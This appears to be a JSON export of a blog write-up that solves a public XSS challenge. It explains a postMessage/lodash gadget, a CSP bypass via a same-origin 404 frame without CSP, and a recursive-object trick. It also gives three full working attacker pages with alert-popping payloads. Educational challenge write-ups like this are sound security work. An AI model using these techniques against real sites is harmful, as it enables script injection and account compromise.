{"id":338,"date":"2025-12-02T11:33:14","date_gmt":"2025-12-02T11:33:14","guid":{"rendered":"https:\/\/joaxcar.com\/blog\/?p=338"},"modified":"2025-12-02T11:33:15","modified_gmt":"2025-12-02T11:33:15","slug":"solving-turb0s-xss-challenge-using-recursive-object-attributes","status":"publish","type":"post","link":"https:\/\/joaxcar.com\/blog\/2025\/12\/02\/solving-turb0s-xss-challenge-using-recursive-object-attributes\/","title":{"rendered":"Solving Turb0&#8217;s XSS challenge using recursive object attributes"},"content":{"rendered":"\n<div class=\"wp-block-jetpack-markdown\"><h3>The challenge<\/h3>\n<p><a href=\"https:\/\/www.turb0.one\/pages\/Challenge_Two:_Stranger_XSS.html\">https:\/\/www.turb0.one\/pages\/Challenge_Two:_Stranger_XSS.html<\/a><\/p>\n<p>We are given a frameable target page on this address <code>https:\/\/www.turb0.one\/files\/9187cc52-fd4d-49c6-a336-0ce8b5139394\/xsschal2minimal\/inner.html<\/code>.<\/p>\n<p>The page loads three scripts<\/p>\n<pre><code class=\"language-html\">&lt;script src=&quot;lodash.min.js&quot;&gt;\n&lt;script src=&quot;jquery-3.6.0.min.js&quot;&gt;\n&lt;script src=&quot;inner.js&quot;&gt;\n<\/code><\/pre>\n<p>Where the first two are usual suspects, and the third is a custom script. The <code>inner.js<\/code> contains this<\/p>\n<pre><code class=\"language-javascript\">const reHydrate = event =&gt; {\n  const data = event.data;\n  if (!data || typeof data !== &quot;object&quot;) {\n    log(&quot;Invalid message: not an object&quot;);\n    return;\n  }\n\n  const { base, mappings } = data;\n  if (!_.isObject(base) || !Array.isArray(mappings)) {\n    log(&quot;Invalid payload structure: expected { base, mappings[] }&quot;);\n    return;\n  }\n\n  for (const { from, to } of mappings) {\n    const val = _.get(event, from);\n    base.reqBody[to] = val;\n  }\n  return base;\n}\n\nwindow.addEventListener(&quot;message&quot;, event =&gt; {\n  const hydrated = reHydrate(event);\n  fetch('mockedfakeapi', {\n    headers: {\n      &quot;Content-Type&quot;: &quot;application\/json&quot;\n    },\n    method: 'POST',\n    body: hydrated.reqBody\n  })\n}, false);\n<\/code><\/pre>\n<p>There is also a CSP on the page generated by this <code>meta<\/code> tag<\/p>\n<pre><code class=\"language-html\">  &lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;script-src 'self' 'unsafe-eval';&quot;&gt;\n<\/code><\/pre>\n<p>We can note a few things:<\/p>\n<ol>\n<li><code>lodash<\/code> is used for object attribute retrieval here <code>_.get<\/code><\/li>\n<li><code>jquery<\/code> is not used<\/li>\n<li>There is an implicit function call on the line <code>body: hydrated.reqBody<\/code><\/li>\n<li>We control an assignment here <code>base.reqBody[to] = val;<\/code><\/li>\n<li>The script calls <code>_.get<\/code> on a <code>postMessage<\/code> <code>event<\/code>. This allows us to access window objects using <code>event.source<\/code> and <code>event.target<\/code><\/li>\n<\/ol>\n<p>The first point will allow us to reference data in an object by a query string, like this.<\/p>\n<pre><code class=\"language-js\">var obj = {a: {b: {c: 1}}}\nvar value = _.get(obj, &quot;a.b.c&quot;)\nvalue \/\/ 1\n<\/code><\/pre>\n<p>The second point suggests that <code>jQuery<\/code> is the intended target for a script gadget. You can read about that in the official write-up <a href=\"https:\/\/lab.ctbb.show\/research\/CVE-2025-59840-unusual-xss-technique-toString-gadget-chains\">here<\/a>. I decided to try to break the page without touching <code>jquery<\/code>, I have gone down that rabbit hole <a href=\"https:\/\/joaxcar.com\/blog\/2024\/01\/26\/hunting-for-prototype-pollution-gadgets-in-jquery-intigriti-0124-challenge\/\">before\u2026<\/a><\/p>\n<p>The third point is interesting and will put your JavaScript knowledge to the test. There is nothing in the syntax that tells us that there will be a function call when we reach the line <code>body: hydrated.reqBody<\/code>. But if we look at the <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/API\/Fetch_API\/Using_Fetch#setting_a_body\">fetch documentation<\/a> we can read<\/p>\n<blockquote>\n<p>You can supply the body as an instance of any of the following types:<\/p>\n<p>a string\nArrayBuffer\nTypedArray\nDataView\nBlob\nFile\nURLSearchParams\nFormData\nReadableStream<\/p>\n<p>Other objects are converted to strings using their toString() method<\/p>\n<\/blockquote>\n<p>Note that last line. <code>Objects<\/code> will be converted by calling <code>obj.toString()<\/code>. If you know your <code>prototypes<\/code>, you know that <code>toString<\/code> is a method on the <code>Object prototype<\/code> and not on the specific object. This means that we could create objects like this that would pop an alert when used as <code>body<\/code> in a fetch call<\/p>\n<pre><code class=\"language-js\">var obj = {toString: ()=&gt;{alert()}}\nfetch(&quot;\/&quot;,{method: &quot;post&quot;,body: obj})\n<\/code><\/pre>\n<p>Implicit method calls like this are present in a lot of places, and not just for <code>toString<\/code>. This is great and all, but I decided to solve this challenge without using this sink.<\/p>\n<p>Which leads us to point 4. We have access to an attribute assignment. Can this be enough to trigger the sought XSS?<\/p>\n<h3>XSS through assignment<\/h3>\n<p>Suppose we want to trigger XSS using only the <code>base.reqBody[to] = val<\/code> assignment, we are limiting our search space for a solution. There are only a handful of ways to trigger <code>JavaScript<\/code> execution through assignments, and most of them are just variations of each other<\/p>\n<pre><code class=\"language-js\">\/\/ setting element HTML\nelm.innerHTML = y\nelm.outerHTML = y\nelm.insertAdjacentHTML = y\n\n\/\/ setting element on-* attribute\nelm.onclick = y \/\/ etc..\n\n\/\/ navigation to js links\nwindow.location = y\niframe.src = y\n\n\/\/ setting iframe srcdoc\niframe.srcdoc = y\n<\/code><\/pre>\n<p>We also have the CSP issue, which prevents us from running arbitrary inline scripts and blocks navigation sinks because <code>javascript<\/code> URLs are blocked. In this case, we need to examine how CSP operates when using these sinks. Let us play with the idea that we have two frames of the same origin, one with CSP and one without<\/p>\n<pre><code class=\"language-js\">\/\/ navigations originating from csp-frame will be blocked\n\/\/ even when trying to navigate the frame with no CSP\nparent.frames[0].location = y \/\/ block\nparent.frames[1].location = y \/\/ block\n\n\/\/ using elements and attributes in the same frame\ndocument.body.innerHTML = y \/\/ block\n\n\/\/ using elements in non-csp-frame\nparent.frames[1].document.body.innerHTML = y \/\/ works!\n<\/code><\/pre>\n<p>For CSP, two things are interesting:<\/p>\n<ol>\n<li>Where does an action originate<\/li>\n<li>Where is the triggering object located<\/li>\n<\/ol>\n<p>For navigations, browsers always look at the CSP on the document that tries to perform the navigation. The browser will not care about the CSP in the window being navigated. This means that even if you do <code>parent.location = y<\/code> from a page with a CSP it will block it as well if you try to assign <code>iframe.src<\/code> of another frame.<\/p>\n<p>(this restriction does not apply to <code>navigation.navigate(y)<\/code> for <a href=\"https:\/\/issues.chromium.org\/issues\/40060957\">\u201creasons\u201d<\/a> see example <a href=\"https:\/\/joaxcar.com\/chrome\/navigation3.html\">here<\/a>)<\/p>\n<p>On the other hand, DOM rendering, such as <code>elm.innerHTML<\/code> and <code>iframe.srcdoc<\/code>, occurs in the context of the target frame and ignores the caller\u2019s CSP. This means we would need to use an <code>innerHTML<\/code> sink in a same-origin window to trigger the XSS.<\/p>\n<p>The setup is relatively straightforward and uses one of those CSP bypass tricks everyone should know. We just generate an attacker page that will frame two pages<\/p>\n<ol>\n<li><code>https:\/\/www.turb0.one\/files\/9187cc52-fd4d-49c6-a336-0ce8b5139394\/xsschal2minimal\/inner.html<\/code> the challenge page<\/li>\n<li><code>https:\/\/www.turb0.one\/files\/9187cc52-fd4d-49c6-a336-0ce8b5139394\/xsschal2minimal\/ANYTHING.html<\/code> 404 non-existing page, lacking CSP<\/li>\n<\/ol>\n<p>From the challenge page, we can now do things like <code>parent.frames[1].document.body.innerHTML = &quot;&lt;img src=x onerror=alert(document.domain)&gt;&quot;<\/code>. EASY! Well, we are not there yet.<\/p>\n<h3>Bypassing object attribute assignment limitations using recursion<\/h3>\n<p>At this point, it felt easy, but I had missed one detail. We are at this point able to send a message to the challenge page, looking like this.<\/p>\n<pre><code class=\"language-js\">var payload = {base: {},\n  mappings: [{\n    from: &quot;source.frames[1].document.body&quot;,  \/\/ window reference to no-CSP window\n    to: &quot;x&quot;,  \/\/ Save to data.reqBody.x\n  }],\n}\n\nframes[0].postMessage(payload,&quot;*&quot;)\n<\/code><\/pre>\n<p>Which would create this situation<\/p>\n<pre><code class=\"language-js\">base = {\n  reqBody:{\n    x: HTMLBody\n  }\n}\n<\/code><\/pre>\n<p>This is not great, as <code>data.reqBody[to]<\/code> will never let us hit the <code>innerHTML<\/code> of <code>x<\/code>. I tried to bypass this using <code>prototype pollution<\/code> like this<\/p>\n<pre><code class=\"language-js\">var payload = {base: {},\n  mappings: [{\n    from: &quot;source.frames[1].document.body&quot;,  \/\/ window reference to no-CSP window\n    to: &quot;__proto__&quot;,  \/\/ Save to data.reqBody.__proto__\n  }],\n}\n\nframes[0].postMessage(payload,&quot;*&quot;)\n<\/code><\/pre>\n<p>Which will give us this<\/p>\n<pre><code class=\"language-js\">base = {\n  reqBody: HTMLBodyElement\n}\n<\/code><\/pre>\n<p>And this looked promising as <code>HTMLBodyElement<\/code> is the <code>prototype<\/code> of <code>body<\/code> elements and has an <code>innerHTML<\/code> property! Unfortunately, having access to a <code>prototype<\/code> is not the same as having a reference to an instance of <code>HTMLBodyElement<\/code>. When trying to assign to <code>base.reqBody[&quot;innerHTML&quot;]<\/code>, we get an <code>Illegal invocation<\/code> error.<\/p>\n<p>At this point, I was ready to give up You only have that much time in a day as a father of four. But while lying in bed contemplating my attempts, I had an epiphany:<\/p>\n<ul>\n<li>JavaScript allows for recursive objects!<\/li>\n<\/ul>\n<p>I fell asleep but woke early to test my hypothesis.<\/p>\n<h2>Solution<\/h2>\n<p>The final piece of the puzzle is to control the object pointed to by <code>data.reqBody<\/code>. It\u2019s controllable by our attacker page, but <code>postMessage<\/code> will only allow <code>plain objects<\/code> or other data that survives the <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/API\/Web_Workers_API\/Structured_clone_algorithm\"><code>structured clone algorithm<\/code><\/a>. Luckily for us, this <code>object<\/code> is allowed.<\/p>\n<pre><code class=\"language-js\">var payload = {}\npayload.reqBody = payload \/\/ {reqBody: {reqBody: {reqBody: ...etc...}}}\n<\/code><\/pre>\n<p>Remember that object attributes are just \u201cpointers\u201d to other <code>objects<\/code> or <code>values<\/code>. Nothing is stopping an object attribute from pointing to the same object that it\u2019s a part of. We can now use this payload<\/p>\n<pre><code class=\"language-js\">var payload = {base: {},\n  mappings: [{\n    from: &quot;source.frames[1].document.body&quot;,  \/\/ window reference to no-CSP window\n    to: &quot;reqBody&quot;,  \/\/ overwrite the attribute that is being written to!\n  },{\n    from: &quot;data.xss&quot;,  \/\/ get our xss payload\n    to: &quot;innerHTML&quot;,  \/\/ write to innerHTML\n  }],xss: &quot;&lt;img src=x onerror=alert(document.domain)&gt;&quot; \/\/ payload\n}\n\npayload.base.reqBody = payload.base\n\nframes[0].postMessage(payload,&quot;*&quot;)\n<\/code><\/pre>\n<p>This will do the following:<\/p>\n<ol>\n<li>In the first <code>mapping<\/code> it will call something equal to <code>base.reqBody[&quot;reqBody&quot;] = source.frames[1].document.body;<\/code> and make it so that <code>base.reqBody<\/code> is pointing to the <code>body<\/code> element from the non-CSP window.<\/li>\n<li>In the second mapping it will call <code>base.reqBody[&quot;innerHTML&quot;] = &quot;&lt;img src=x onerror=alert(document.domain)&gt;&quot;<\/code> where <code>base.reqBody<\/code> is now a real element<\/li>\n<li>XSS will pop<\/li>\n<\/ol>\n<p>Full attacker page:<\/p>\n<pre><code class=\"language-html\">&lt;script&gt;\n  function run() {\n    var payload = {\n      base: {},\n      mappings: [\n        {\n          from: &quot;source.frames[1].document.body&quot;,\n          to: &quot;reqBody&quot;\n        }, {\n          from: &quot;data.xss&quot;,\n          to: &quot;innerHTML&quot;\n        }\n      ],\n      xss: &quot;&lt;img src=x onerror=alert(document.domain)&gt;&quot;\n    }\n    payload.base.reqBody = payload.base\n\n    frames[0].postMessage(payload, &quot;*&quot;)\n  }\n&lt;\/script&gt;\n&lt;iframe onload=&quot;run()&quot; src=&quot;https:\/\/www.turb0.one\/files\/9187cc52-fd4d-49c6-a336-0ce8b5139394\/xsschal2minimal\/inner.html&quot;&gt;&lt;\/iframe&gt;\n&lt;iframe src=&quot;https:\/\/www.turb0.one\/files\/9187cc52-fd4d-49c6-a336-0ce8b5139394\/xsschal2minimal\/ERROR.html&quot;&gt;&lt;\/iframe&gt;\n\n<\/code><\/pre>\n<h3>Summary<\/h3>\n<ul>\n<li>We can use object recursion to have an assignment of an attribute overwrite itself<\/li>\n<li>We can bypass CSP by writing a payload into the DOM of another same-origin window<\/li>\n<\/ul>\n<p>Bonus: given our newfound knowledge, we could also solve the challenge in other ways. Try to understand why this works.<\/p>\n<pre><code class=\"language-html\">&lt;script&gt;\n  function run() {\n    var payload = {\n      base: {},\n      mappings: [\n        {\n          from: &quot;source.frames[0].frames[0].frameElement&quot;,\n          to: &quot;reqBody&quot;\n        }, {\n          from: &quot;data.xss&quot;,\n          to: &quot;srcdoc&quot;\n        }\n      ],\n      xss: &quot;&lt;script&gt;alert(document.domain)\\u003c\/script&gt;&quot;\n    }\n    payload.base.reqBody = payload.base\n\n    frames[0].frames[0].postMessage(payload, &quot;*&quot;)\n  }\n&lt;\/script&gt;\n&lt;iframe onload=&quot;run()&quot; src=&quot;https:\/\/www.turb0.one\/files\/9187cc52-fd4d-49c6-a336-0ce8b5139394\/xsschal2minimal\/outer.html&quot;&gt;&lt;\/iframe&gt;\n<\/code><\/pre>\n<p>And then this modification was created by Turb0 himself after I first sent my solution<\/p>\n<pre><code class=\"language-html\">&lt;script&gt;\n  function run() {\n    var payload = {\n      base: {},\n      &quot;mappings&quot;: [\n        {\n          &quot;from&quot;: &quot;target.Array&quot;,\n          &quot;to&quot;: &quot;reqBody&quot;\n        }, {\n          &quot;from&quot;: &quot;target.eval&quot;,\n          &quot;to&quot;: &quot;isArray&quot;\n        }\n      ]\n    }\n    payload.base.reqBody = payload.base\n    \n    frames[0].postMessage(payload, &quot;*&quot;)\n\n    \/\/ This is needed to survive the fetch error\n    setTimeout(() =&gt; frames[0].postMessage({\n      base: {},\n      mappings: 'alert(origin)'\n    }, '*'), 500)\n  }\n&lt;\/script&gt;\n&lt;iframe onload=&quot;run()&quot; src=&quot;https:\/\/www.turb0.one\/files\/9187cc52-fd4d-49c6-a336-0ce8b5139394\/xsschal2minimal\/inner.html&quot;&gt;&lt;\/iframe&gt;\n<\/code><\/pre>\n<\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_hide_featured_image":false,"_jetpack_featured_image_duplicate_dismissed":0,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_post_was_ever_published":false},"categories":[6],"tags":[],"class_list":["post-338","post","type-post","status-publish","format-standard","hentry","category-writeups"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.9 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Solving Turb0&#039;s XSS challenge using recursive object attributes - Johan Carlsson<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/joaxcar.com\/blog\/2025\/12\/02\/solving-turb0s-xss-challenge-using-recursive-object-attributes\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Solving Turb0&#039;s XSS challenge using recursive object attributes - Johan Carlsson\" \/>\n<meta property=\"og:url\" content=\"https:\/\/joaxcar.com\/blog\/2025\/12\/02\/solving-turb0s-xss-challenge-using-recursive-object-attributes\/\" \/>\n<meta property=\"og:site_name\" content=\"Johan Carlsson\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-02T11:33:14+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-12-02T11:33:15+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/joaxcar.com\/blog\/wp-content\/uploads\/2023\/09\/I8m3mf0k.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"400\" \/>\n\t<meta property=\"og:image:height\" content=\"400\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Johan Carlsson\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@joaxcar\" \/>\n<meta name=\"twitter:site\" content=\"@joaxcar\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Johan Carlsson\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":[\"Article\",\"BlogPosting\"],\"@id\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/2025\\\/12\\\/02\\\/solving-turb0s-xss-challenge-using-recursive-object-attributes\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/2025\\\/12\\\/02\\\/solving-turb0s-xss-challenge-using-recursive-object-attributes\\\/\"},\"author\":{\"name\":\"Johan Carlsson\",\"@id\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/#\\\/schema\\\/person\\\/d31a23ac11a1a7130d9a395e8b1d1512\"},\"headline\":\"Solving Turb0&#8217;s XSS challenge using recursive object attributes\",\"datePublished\":\"2025-12-02T11:33:14+00:00\",\"dateModified\":\"2025-12-02T11:33:15+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/2025\\\/12\\\/02\\\/solving-turb0s-xss-challenge-using-recursive-object-attributes\\\/\"},\"wordCount\":965,\"publisher\":{\"@id\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/#\\\/schema\\\/person\\\/d31a23ac11a1a7130d9a395e8b1d1512\"},\"articleSection\":[\"Writeups\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/2025\\\/12\\\/02\\\/solving-turb0s-xss-challenge-using-recursive-object-attributes\\\/\",\"url\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/2025\\\/12\\\/02\\\/solving-turb0s-xss-challenge-using-recursive-object-attributes\\\/\",\"name\":\"Solving Turb0's XSS challenge using recursive object attributes - Johan Carlsson\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/#website\"},\"datePublished\":\"2025-12-02T11:33:14+00:00\",\"dateModified\":\"2025-12-02T11:33:15+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/2025\\\/12\\\/02\\\/solving-turb0s-xss-challenge-using-recursive-object-attributes\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/joaxcar.com\\\/blog\\\/2025\\\/12\\\/02\\\/solving-turb0s-xss-challenge-using-recursive-object-attributes\\\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/2025\\\/12\\\/02\\\/solving-turb0s-xss-challenge-using-recursive-object-attributes\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Solving Turb0&#8217;s XSS challenge using recursive object attributes\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/\",\"name\":\"Johan Carlsson (joaxcar)\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/#\\\/schema\\\/person\\\/d31a23ac11a1a7130d9a395e8b1d1512\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/#\\\/schema\\\/person\\\/d31a23ac11a1a7130d9a395e8b1d1512\",\"name\":\"Johan Carlsson\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/09\\\/I8m3mf0k.jpg\",\"url\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/09\\\/I8m3mf0k.jpg\",\"contentUrl\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/09\\\/I8m3mf0k.jpg\",\"width\":400,\"height\":400,\"caption\":\"Johan Carlsson\"},\"logo\":{\"@id\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/09\\\/I8m3mf0k.jpg\"},\"sameAs\":[\"https:\\\/\\\/joaxcar.com\\\/blog\",\"https:\\\/\\\/linkedin.com\\\/in\\\/joaxcar\",\"https:\\\/\\\/x.com\\\/joaxcar\"],\"url\":\"https:\\\/\\\/joaxcar.com\\\/blog\\\/author\\\/joaxcar\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Solving Turb0's XSS challenge using recursive object attributes - Johan Carlsson","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/joaxcar.com\/blog\/2025\/12\/02\/solving-turb0s-xss-challenge-using-recursive-object-attributes\/","og_locale":"en_US","og_type":"article","og_title":"Solving Turb0's XSS challenge using recursive object attributes - Johan Carlsson","og_url":"https:\/\/joaxcar.com\/blog\/2025\/12\/02\/solving-turb0s-xss-challenge-using-recursive-object-attributes\/","og_site_name":"Johan Carlsson","article_published_time":"2025-12-02T11:33:14+00:00","article_modified_time":"2025-12-02T11:33:15+00:00","og_image":[{"width":400,"height":400,"url":"https:\/\/joaxcar.com\/blog\/wp-content\/uploads\/2023\/09\/I8m3mf0k.jpg","type":"image\/jpeg"}],"author":"Johan Carlsson","twitter_card":"summary_large_image","twitter_creator":"@joaxcar","twitter_site":"@joaxcar","twitter_misc":{"Written by":"Johan Carlsson","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":["Article","BlogPosting"],"@id":"https:\/\/joaxcar.com\/blog\/2025\/12\/02\/solving-turb0s-xss-challenge-using-recursive-object-attributes\/#article","isPartOf":{"@id":"https:\/\/joaxcar.com\/blog\/2025\/12\/02\/solving-turb0s-xss-challenge-using-recursive-object-attributes\/"},"author":{"name":"Johan Carlsson","@id":"https:\/\/joaxcar.com\/blog\/#\/schema\/person\/d31a23ac11a1a7130d9a395e8b1d1512"},"headline":"Solving Turb0&#8217;s XSS challenge using recursive object attributes","datePublished":"2025-12-02T11:33:14+00:00","dateModified":"2025-12-02T11:33:15+00:00","mainEntityOfPage":{"@id":"https:\/\/joaxcar.com\/blog\/2025\/12\/02\/solving-turb0s-xss-challenge-using-recursive-object-attributes\/"},"wordCount":965,"publisher":{"@id":"https:\/\/joaxcar.com\/blog\/#\/schema\/person\/d31a23ac11a1a7130d9a395e8b1d1512"},"articleSection":["Writeups"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/joaxcar.com\/blog\/2025\/12\/02\/solving-turb0s-xss-challenge-using-recursive-object-attributes\/","url":"https:\/\/joaxcar.com\/blog\/2025\/12\/02\/solving-turb0s-xss-challenge-using-recursive-object-attributes\/","name":"Solving Turb0's XSS challenge using recursive object attributes - Johan Carlsson","isPartOf":{"@id":"https:\/\/joaxcar.com\/blog\/#website"},"datePublished":"2025-12-02T11:33:14+00:00","dateModified":"2025-12-02T11:33:15+00:00","breadcrumb":{"@id":"https:\/\/joaxcar.com\/blog\/2025\/12\/02\/solving-turb0s-xss-challenge-using-recursive-object-attributes\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/joaxcar.com\/blog\/2025\/12\/02\/solving-turb0s-xss-challenge-using-recursive-object-attributes\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/joaxcar.com\/blog\/2025\/12\/02\/solving-turb0s-xss-challenge-using-recursive-object-attributes\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/joaxcar.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Solving Turb0&#8217;s XSS challenge using recursive object attributes"}]},{"@type":"WebSite","@id":"https:\/\/joaxcar.com\/blog\/#website","url":"https:\/\/joaxcar.com\/blog\/","name":"Johan Carlsson (joaxcar)","description":"","publisher":{"@id":"https:\/\/joaxcar.com\/blog\/#\/schema\/person\/d31a23ac11a1a7130d9a395e8b1d1512"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/joaxcar.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":["Person","Organization"],"@id":"https:\/\/joaxcar.com\/blog\/#\/schema\/person\/d31a23ac11a1a7130d9a395e8b1d1512","name":"Johan Carlsson","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/joaxcar.com\/blog\/wp-content\/uploads\/2023\/09\/I8m3mf0k.jpg","url":"https:\/\/joaxcar.com\/blog\/wp-content\/uploads\/2023\/09\/I8m3mf0k.jpg","contentUrl":"https:\/\/joaxcar.com\/blog\/wp-content\/uploads\/2023\/09\/I8m3mf0k.jpg","width":400,"height":400,"caption":"Johan Carlsson"},"logo":{"@id":"https:\/\/joaxcar.com\/blog\/wp-content\/uploads\/2023\/09\/I8m3mf0k.jpg"},"sameAs":["https:\/\/joaxcar.com\/blog","https:\/\/linkedin.com\/in\/joaxcar","https:\/\/x.com\/joaxcar"],"url":"https:\/\/joaxcar.com\/blog\/author\/joaxcar\/"}]}},"jetpack_sharing_enabled":true,"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/joaxcar.com\/blog\/wp-json\/wp\/v2\/posts\/338","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/joaxcar.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/joaxcar.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/joaxcar.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/joaxcar.com\/blog\/wp-json\/wp\/v2\/comments?post=338"}],"version-history":[{"count":8,"href":"https:\/\/joaxcar.com\/blog\/wp-json\/wp\/v2\/posts\/338\/revisions"}],"predecessor-version":[{"id":346,"href":"https:\/\/joaxcar.com\/blog\/wp-json\/wp\/v2\/posts\/338\/revisions\/346"}],"wp:attachment":[{"href":"https:\/\/joaxcar.com\/blog\/wp-json\/wp\/v2\/media?parent=338"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/joaxcar.com\/blog\/wp-json\/wp\/v2\/categories?post=338"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/joaxcar.com\/blog\/wp-json\/wp\/v2\/tags?post=338"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}